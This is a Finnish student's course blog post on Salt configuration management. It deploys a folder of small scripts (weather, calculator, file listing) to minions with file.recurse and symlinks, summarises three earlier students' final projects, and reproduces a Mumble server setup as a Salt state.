d) Laiskaa skriptailua. Tee kansio, josta jokainen skripti kopioituu orjille. Vinkki: ‘salt-call –local sys.state_doc file.recurse’. Kun tämä on valmis, on todella helppoa laittaa orjille mikä tahansa yhden tiedoston shell script, Python-ohjelma, Perl-ohjelma, Go-binääri tai muu yhden binäärin ohjelma.

Ensimmäiseksi tutustun file.recursen dokumentaatioon, jotta tiedän mistä on kyse.

Recurse through a subdirectory on the master and copy said subdirectory over to the specified path.

Recursive directory management allows for a directory on the salt master to be recursively copied down to the minion. This is a great tool for deploying large code and configuration systems.

file.recurse

Luettuani dokumentaation uskon ymmärtäväni miten recurse toimii. Tässä tehtävässä kuitenkin haasteita aiheuttaa tuo kansiollinen skriptejä. Käsittääkseni shell scriptin ajaminen ilman ./ lisäystä vaatii, että se on koneen pathissa. Tarkistan master koneeni pathin.

Käsittääkseni kansio, jossa kommennot sijaitsevat pitää löytyä täältä. Eli yksi vaihtoehto on lisätä haluamani kansion pathiin. Ongelma on kuitenkin, että minion2:n path on eri, joten se ei tule löytämään skriptit. Enkä tiedä miten saltilla saisi lisättyä uuden pathin. Päätän kuitenkin nyt kokeilemaan jotain, eli kokeilen nyt ensin luoda kansiollinen skriptejä, ja kopioida kansion /usr/local/bin/ hakemistoon.

Luon paikallisen kansion (mkdir scripts) ja siihen sekalaisia skriptejä.

/scripts/showfiles

#!/bin/bash
 
ls -l
/scripts/weather
 
#!/bin/bash

# show weather in location /etc/timezonels
# source code https://github.com/chubin/wttr.in
 
curl wttr.in
/scripts/corona

#!/bin/bash
 
curl https://corona-stats.online
/scripts/calculator

#!/usr/bin/python3

def calculate():
     operation = input('''
Please type in the math operation you would like to complete:
+ for addition
- for subtraction
* for multiplication
/ for division
''')

     number_1 = int(input('Please enter the first number: '))
     number_2 = int(input('Please enter the second number: '))
     if operation == '+':
         print('{} + {} = '.format(number_1, number_2))
         print(number_1 + number_2)
     elif operation == '-':
         print('{} - {} = '.format(number_1, number_2))
         print(number_1 - number_2)
     elif operation == '*':
         print('{} * {} = '.format(number_1, number_2))
         print(number_1 * number_2)
     elif operation == '/':
         print('{} / {} = '.format(number_1, number_2))
         print(number_1 / number_2)
     else:
         print('You have not typed a valid operator, please run the program again.') 

     # Add again() function to calculate() function 
     again()
     
 def again():
     calc_again = input('''
 Do you want to calculate again?
 Please type Y for YES or N for NO.
 ''')

     if calc_again.upper() == 'Y':     
         calculate() 
     elif calc_again.upper() == 'N':     
         print('See you later.') 
     else:     again()
 calculate()

# from https://www.digitalocean.com/community/tutorials/how-to-make-a-calculator-program-in-python-3

Kopion kansion sisältöineen (-r) /usr/local/bin/ hakemistoon. Päivitän ja tarkistan oikeudet (kaikille lisätään x).

$ sudo cp -r /home/master/scripts/ /usr/local/bin/
$ cd /usr/local/bin/scripts/
$ sudo chmod ugo+x calculator corona showfiles weather

Lopuksi testaan skriptit. Kuten arvasin tehtävän alussa, en onnistunut ajaamaan skriptejä ilman ./.

Ratkaisuksi tähän löydän kaksi vaihtoehtoa, joko lisätä kansion pathiin tai luoda skripteille symboliset linkit. Kumpikaan vaihtoehto ei kuulosta kovin hyvältä tai tehokkaalta. Symboliset linkit aiheuttaa lisää rivejä /usr/local/bin hakemistoon ja path ei ole pysyvä ratkaisu, sillä se nollaantuu rebootissa.

Jotain tapaa pitää kuitenkin valita, joten menen symlinkeillä. Testaan ne ensin käsin.

Hyvin toimii, joten teen saman vielä muille skripteille. Törmäsin yhteen pieneen ongelmaan.

Eli /usr/local/bin hakemistossa oli jo ennestään showfiles tiedosto, jonka olin luonut tunnilla. Niinpä päätän nimetä uudelleen scripts kansiossa olevan showfiles skriptin content-nimiseksi.

Toimii

Seuraavaksi luon uuden lazyscript salt-tilan ja init.sls. Kopion skriptikansion kyseiseen tilaan.

/srv/salt/lazyscript/init.sls

/usr/local/bin/scripts:
  file.recurse:
    - source: salt://lazyscript/scripts
    - include_empty: True

Testasin ensin vain tämän osan, ja se onnistui osittain. Kansio ja sisältö päätyi minioneille, mutta oikeudet olivat väärin.

Lisätty vielä oikeudet tilaan sekä alla olevat symlinkit.

/srv/salt/lazyscript/init.sls

/usr/local/bin/scripts:
   file.recurse:
     - source: salt://lazyscript/scripts
     - include_empty: True
     - mode: 755

/usr/local/bin/calculator:
   file.symlink:
     - target: /usr/local/bin/scripts/calculator
/usr/local/bin/corona:
   file.symlink:
     - target: /usr/local/bin/scripts/corona
/usr/local/bin/content:
   file.symlink:
     - target: /usr/local/bin/scripts/content
/usr/local/bin/weather:
   file.symlink:
     - target: /usr/local/bin/scripts/weather

Symlinkkien luonti näytti onnistuvan mutta tiedostojen oikeuksien muokkaaminen epäonnistui. Nähtävästi file.recursen kanssa tulee käyttää file_mode tai dir_mode. Korjaan vielä sen ennen lopullista testiä.

Hyvältä näyttää ohjelmat minion2:lla. Ainoa mikä ei toimi on weather, mutta testattuani sen masterille, totean, että kyseessä on ilmeisesti palvelun huolto.

Puh! Eipäs tuntunut oikein laiskalta tämän tehtävän tekoa. Monta tuntia tähän upposi. Olen kyllä melko varma, että tähän on parempi ratkaisu kuin symlinkit, mutta itse en muuta keksinyt.

e) Intel. Etsi kolme loppuprojektia joltain vanhalta kurssitoteutukselta. Kuvaile projektit tiiviisti ja linkitä alkuperäiseeen raporttin. Vinkkejä: Loppuprojekteja löydät etsimällä opiskelijoiden raportteja vanhoilta kursseilta ja selailemalla sivuja, joilta ne löytyivät. Raportteja löytyy vanhojen kurssitotetusten kommenteista. Ja tietysti kannattaa silmäillä listaa sieltä täältä, niin näet eri projektit kuin muut. Voi hakea myös Googlella ja DuckDuckGolla.

  1. Rikun projekti https://tenhunenr.wordpress.com/h7-palvelinten-hallinta/

Riku on asentanut SCCM, eli System Center Configuration Manager, joka on Windowsin työkalu etähallintaan. Tämä käytetään tänä päivänä monessa työpaikassa. SCCM:llä hallinnoidaan toimialueen laitteita, hallinnoidaan vakioidun imagen asennus, kerätään erilaisia tietoja laitteista, sekä hallinnoidaan asennuksia ja päivityksiä.

Riku on projektia varten asentanut virtuaaliympäristön, joka koostuu yhdestä työasemasta ja kahdesta palvelimesta, joista toisella palvelimella pyörii SCCM. Riku kertoo raportissaan yksityiskohtaisesti miten SCCM on asennettu sekä minkälaisia konfiguratioita toimialueelle on tehty. Konfigurointia tarvittiin mm. Active Directorya (AD), palomuuria, SQL serveriä sekä toimialueen verkkoa ja DNS:ä varten. Lisäksi toimialueen palvelimille oli määriteltävä rooleja, eli SCCM-palvelimelle Riku määritteli WSUS ja IIS roolit sekä AD-palvelimelle DNS, DHCP ja AD roolit. Raportissa ei oikein selvinnyt miksi roolit jaettin tällä tavalla, mutta varmaankin selvisi Rikun käyttämässä ohjeessa.

Lopuksi Riku on kuvilla näyttänyt miltä SCCM näyttää, miten työasemalle voi asentaa SCCM-clientin sekä miten SCCM:llä voi asentaa työasemalle paketin tai ohjelman. Työasema vastaanottaa paketit Software Centeriin. Paketit voi olla pakotetusti tai vapaaehtoisesti asennettavia. Riku kertoo ja näyttää kuvilla lisäksi miten SCCM kerää tietoja SQL tietokantoihin.

Rikun raportista päätellen voisin todeta, että SCCM vaikuttaa monimutkaiselta sekä asentaa että käyttää. Salt vaikuttaa paljon loogisemmalta ja kivemmalta!

2. Juhon projekti https://jomhak.github.io/ICT4TN022/#h7

Juho on projektissaan luonut salt-tilan, joka asentaa Vagrantin avulla minioneille virtuaalikoneen, johon asennetetaan Apache, joka näyttää nettisivun.

Ensin Juho asensi master-koneelle käsin Vagrantin ja Virtualboxin. Tässä hänellä esiintyi ensin ongelmia, mutta sai virtualboxin käyntiin aktivoimalla virtualisointi. Juho asensi Saltstackin masterkoneelle bootstrap-menetelmällä, eli hakemalla ensin repo ja gpg-avain ja sen jälkeen asentamalla. Ensimmäiseksi tilaksi Juho loi tilan joka asentaa Vagrantin ja Virtualboxin, kopioi Vagrantfile (varmaankin Vagrantin jokin konfigurointitiedosto) sekä määrittää ja käynnistää uuden virtuaalikoneen (VM). Tilalla hän ei saanut kuitenkaan Vagrantia käyntiin, ja selvitti, että Vagrantfilen sekä sen parentkansion oikeudet ja omistajuus olivat rootilla. Ajettuaan korjatun tilan Juho pystyi onnistuneesti testaamaan yhteyden koneiden välillä ssh:lla.

Lopuksi Juho loi skriptin, jonka avulla hän asensi Apachen ja loi siihen testisivun apachen vakiosivun tilalle. Vagrantfileen hän myös lisäsi porttiohjaukset, jotta testisivu näkyisi myös master koneella. Nämä loput lisäykset näyttivät onnistuvan ongelmitta.

Juholla oli mukavan näköinen projekti, jolla saa nopeasti pystyyn apachen.

3. Antin projekti https://oispadotka.wordpress.com/2020/05/16/h7-oma-moduli/

Antti on projektissaan luonut yhden salt-tilan jolla hän on pystyttänyt Mumble-palvelimen.

Antti on ensin asentanut palvelimen käsin ja testannut sen oletusasetuksia sekä lukenut dokumentaatiota. Antti sai palvelimen toimimaan paikallisesti, mutta ei internetissä. Sen selvittämiseksi hän luki Virtual Boxin dokumentaatiota, sekä testasi ensin NAT + port forwardingia ennen kuin päätyi käyttämään Bridged Adapteria. Lisäksi Antti avaa portin 64738, jota Murmur oletuksena käyttää. Kun Antti testasi ja totesi yhteyden toimivaksi, hän siirtyi Murmur asetuksiin, jotka sijaitsevat tiedostossa /etc/mumble-server.ini. Hän päättää haluavansa lisää kanavia, ja testaa sitä murmus superuserilla.

Kun käsin tehty asennus on todettu tomivaksi, ja asetustiedosto tutkittu, Antti siirtyy luomaan salt-tilan. Antti luo ensin minion-koneen vagrantilla ja testaa yhteyden toimivuuttaa hei maailma-tilalla. Murmuria varten Antti luo tilan, joka asentaa mumble-palvelimen ja joka päivittää tiedostot /etc/default/mumble-server sekä /etc/mumble-server.ini sekä lisäksi valvoo, että palvelin on käynnissä. Testattuaan Mumble-palvelinta Antti toteaa kuitenkin, että asetukset eivät päivity, ja arvelee, että asetukset ovat tallennettu tietokantaa. Hän testaa teorian lisäämällö /var/lib/mumble-server/mumble-server.sqlite salt tilaansa. Tämän jälkeen palvelin toimii halutulla tavalla.

Hienosti tehty projekti ja hyvin dokumentoitu. Ainoa, mikä jäi ehkä epäselväksi, oli mitä asioita noissa asetustiedostoissa oli muutettu, ja oliko niihin kaikkiin tehty muutoksia.

e) Lukua, ei luottamusta. Kokeile yhtä kohdassa d-Intel löytämääsi modulia koneella. Tämä on infraa koodina, joten luottamusta ei tarvita. Voit lukea koodista, mitä olet ajamassa.

Tutkituista projekteista päätän yrittää toistaa viimeisen, eli Antin projektin. Päädyin tähän, sillä Rikun SCCM vaikuttaa aivan liian monimutkaiselta ja työläältä (ja lisäksi Windows…). Juhon projekti olisi muuten varmaankin myös kiinnostava, mutta koska itse käytän kurssissa VirtualBoxia, epäilen, että se ei oikein tykkäisi, että virtuaalikoneelle asentaisi VirtualBoxia. Vaikuttaa ns. doomed to fail -ajatukselta.

Vaihe 1. Asennus käsin

$ sudo apt update
$ sudo apt upgrade -y
$ sudo apt install -y mumble-server
$ sudo apt install -y mumble

Asennus onnistui ongelmitta ja seuraavaksi käynnistän palvelimen sekä teen alkukonfiguraatiot.

$ sudo dpkg-reconfigure mumble-server

Lisäksi tarkistan, että palvelin on käynnissä.

Minulla on jo ennestään virtuaalikoneellani käytössä Bridged Adapter verkkoa, joten avaan ainoastaan reiän palomuuriin.

En pystynyt testamaan yhteyttä ulkomaailmasta kuten Antti, sillä minulla käytettävissä ainoastaan yksi verkko.

Siirryn seuraavaksi tutkimaan asetuksia. /etc/mumble-server.ini

Kirjaudun superuserilla.

Minulla on vaikeuksia löytää kanava-asetukset, joita Antti on muokannut. Joudun tässä vaiheessa tutkimaan dokumentaatiota https://wiki.mumble.info/wiki/Main_Page. Sivulta https://wiki.mumble.info/wiki/Murmurguide löytyi jonkun verran hyödyllistä tietoa täysin uudelle käyttäjälle. Tältä sivulta löytyi myös ohjeet, miten pääsen kirjautumaan superUserina sekä lisäämään ja muokkaamaan kanavia.

Vaihe 2. Salt

Seuraavaksi siirryn salt tilan luomiseen. Minulla on jo ennestään toimiva master-slave ympäristö, joten en luo tässä vaiheessa uutta.

/srv/salt/mumble-server/init.sls

mumble-server:
   pkg.installed

/etc/default/mumble-server:
  file.managed:
    - source: salt://mumble-server/mumble-server

/etc/mumble-server.ini:
  file.managed:
    - source: salt://mumble-server/mumble-server.ini

/var/lib/mumble-server/mumble-server.sqlite:
  file.managed:
    - source: salt://mumble-server/mumble-server.sqlite

mumble-server.service:
  service.running:
    - watch:
      - file: /etc/mumble-server.ini

Tässä välissä poistan käsin asennetun mumble-serverin, ennen kuin testaan salt-tilan.

$ sudo apt purge mumble-server
$ sudo apt purge mumble

Vaihe 3. Testaus

Seuraavaksi ajan salt tilan ja testaan.

$ sudo salt '* state.apply mumble-server

Asennus onnistui mutta tiedostojen muokkaus epäonnistui.

Saattaa olla, että tiedostoja voi luoda vasta kun palvelu on käynnissä, joten kokeilen ajaa tilan uudelleen. Se ei kuitenkaan auta, ja sama virhe tulee edelleen, eli näköjään ei löydä sourcefilejä… Tarkistan, että nämä ovat paikallaan ja tuplatarkistan pathit, enkä löydä mitään ongelmia…

Epäonnistuneiden tiedostojen oikeudet ovat kuitenkin rootilla, kun taas mumble-serverillä kaikilla on read-oikeudet. Testaan mikäli read-oikeuden lisääminen korjaa tilanteen.

Ja sehän korjasi sen!

Lopuksi testaan vielä mumblen minion2:lla.

En saa sitä kuitenkaan avattua, enkä löydä ohjelmaa koneella… Mietin käsin tehtyä asennusvaihetta, kun siinä asennetaan mumble-server ja sitten erikseen vielä mumble, siihen on varmaan jokin syy. Molempia paketteja ei ole kuitenkaan tällä salt-tilalla asennettu, joten muokkaan hieman init.sls -tiedostoa.

Ja sehän auttoi! Minion2:lla avautui Mumble Audio Wizard.

Vaikuttaisi toimivan, mutta en kuitenkaan pääse kirjautumaan, vaan saan vain virheviestin “connection refused”. Näyttää kuitenkin toimivan, veikkaan että tässä on nyt käyttäjässä vika, kun en yhtään osaa tätä mumblea käyttää.

Lähteet:

Tehtävät: http://terokarvinen.com/2020/configuration-management-systems-palvelinten-hallinta-ict4tn022-autumn-2020/

Pieniä ohjelmia: https://github.com/chubin/wttr.in

https://corona-stats.online

https://www.digitalocean.com/community/tutorials/how-to-make-a-calculator-program-in-python-3

Intel-projektit: https://tenhunenr.wordpress.com/h7-palvelinten-hallinta/

https://jomhak.github.io/ICT4TN022/#h7

https://oispadotka.wordpress.com/2020/05/16/h7-oma-moduli/

Mumble-server: https://wiki.mumble.info/wiki/Murmurguide

Create your own website, free on WordPress.com.Create your own website.
Start free